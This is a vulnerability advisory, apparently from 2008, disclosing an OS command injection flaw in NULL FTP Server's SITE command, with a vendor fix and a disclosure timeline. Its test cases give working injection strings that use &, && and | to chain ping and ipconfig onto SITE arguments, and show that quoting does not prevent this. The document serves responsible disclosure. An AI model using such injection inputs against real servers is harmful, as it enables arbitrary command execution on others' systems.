by Tan Chew Keong タン チュー ケオン
Release Date: 2008-12-05
[en] [jp]
概要
NULL FTP
Server の FTP SITE コマンに
は OS コマンドインジェクションの脆弱性が存在します。この脆弱性が、悪意のある FTP ユーザーに利用されたら、FTP
サーバ上で、FTP サーバの権限で任意の
Windows OS コマンドを実行される可能性があります。
問題を確認したバージョン
問題
NULL FTP
Server の FTP SITE コマンに
は OS コマンドインジェクションの脆弱性が存在します。この脆弱性が、悪意のある FTP ユーザーに利用されたら、FTP
サーバ上で、FTP サーバの権限で任意の
Windows OS コマンドを実行される可能性があります。
FTP サーバ上で、その SITE コマンドを無効にすれば、この脆弱性を悪用されることができません。
脆弱性のテスト
脆弱性の確かめる方法は下記です。
Prerequisites
Please configure NULL FTP Server
as follows prior to testing:
- Create a test user on the NULL FTP Server.
- Ensure that this user is given Full
Access (i.e. read and write) to the FTP directory. This is
required since the %writefile1 parameter requires
the user to have write access to the FTP directory.
- Configure NULL FTP Server to Enable
SITE commands and click on Apply.
- Download and extract netcat from here.
netcat (nc.exe)
will be used to issue FTP commands directly to NULL FTP Server.
Test
Case 1
- Create the following SITE command in NULL FTP
Server if it does not already exist.
Command Name: NATIVEDIR
Executable/batch file: dir %readfile1
- Using netcat, logon to the FTP server and issue
the following SITE command.
SITE NATIVEDIR "."\""&ping
127.0.0.1&
OR
SITE NATIVEDIR a&ipconfig
- The above SITE commands will inject the ping
or the ipconfig command. See screenshot below.
Test
Case 2
The purpose of this test case is to show that enclosing the %readfile1
placeholder in
double-quotes will
not
solve the issue.
- Create the following SITE command in NULL FTP
Server if it does not already exist.
Command Name: NATIVEDIR
Executable/batch file: dir "%readfile1"
- Using netcat, logon to the FTP server and issue
the following SITE command. Do note that this exploit is slightly
different from Test Case 1.
SITE NATIVEDIR ".""\""&ping
127.0.0.1&
- The above SITE command will inject the ping
command. See screenshot below.
Test
Case 3
- Create the following SITE command in NULL FTP
Server if it does not already exist.
Command Name: ATTRIB
Executable/batch file: attrib %writefile1 %2 %3 %4 %5 %6 %7
%8 %9
- Using netcat, logon to the FTP server and issue
the following SITE command.
SITE ATTRIB a&& ping 127.0.0.1
OR
SITE ATTRIB a &ping 127.0.0.1
OR
SITE ATTRIB a| ping 127.0.0.1
- The above SITE command will inject the ping
command. See screenshot below.
Test
Case 4
- Enclosing the placeholders in double-quotes
will not solve the issue.
Command Name: ATTRIB
Executable/batch file: attrib "%writefile1" "%2" "%3" "%4"
"%5" "%6" "%7" "%8" "%9"
Test Exploit: SITE ATTRIB a" &ping 127.0.0.1&
- Again, enclosing the placeholders in double-quotes
will not solve the issue.
Command Name: ATTRIB
Executable/batch file: attrib %writefile1 "%2" "%3" "%4" "%5"
"%6" "%7" "%8" "%9"
Test Exploit: SITE ATTRIB a &"ping 127.0.0.1&
- The above SITE commands will inject the ping
command.
対策
Version 1.1.0.8 へのバージョンアップをしてください。ベンダーに公開される脆弱性の情報はこちらです。
発見と報告の経緯
2008年11月25日 - 脆弱性の発見。
2008年11月26日 - ベンダーに報告しました。(Support Ticket #20786)
2008年11月26日 - ベンダーから答えを受け取りました。
2008年11月26日 - ベンダーに脆弱性の確かめる方法を送りました。
2008年11月27日 - ベンダーは修正版のバージョン 1.1.0.8 をリリースしました。
2008年12月05日 - 本脆弱性の公開。